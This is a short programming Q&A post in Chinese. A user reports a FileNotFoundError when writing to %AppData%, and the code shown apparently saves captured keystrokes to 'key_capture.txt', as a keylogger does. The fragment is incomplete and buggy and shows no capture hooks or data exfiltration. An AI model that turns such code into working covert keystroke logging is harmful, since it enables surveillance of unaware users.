【发布时间】:2019-06-22 04:34:17
【问题描述】:
我正在尝试在 %appdata% 中写入文件,但是当我运行代码时出现此错误:
with open(os.path.join(key_dir+ "\\key_capture.txt")) as f:
FileNotFoundError: [Errno 2] No such file or directory: 'C:\\Users\\George Mauricio\\AppData\\Local\\key_capture.txt'
这是我正在使用的代码:
from os import path
#there are some in between
def write_file(keys):
with open(os.path.join(key_dir+ "\\key_capture.txt")) as f:
for key in keys:
k = str(key).replace("'","")
Key.space
if k.find("space") > 0:
f.write('\n')
elif k.find("Key") == -1:
f.write(k)
【问题讨论】:
标签: python python-3.x path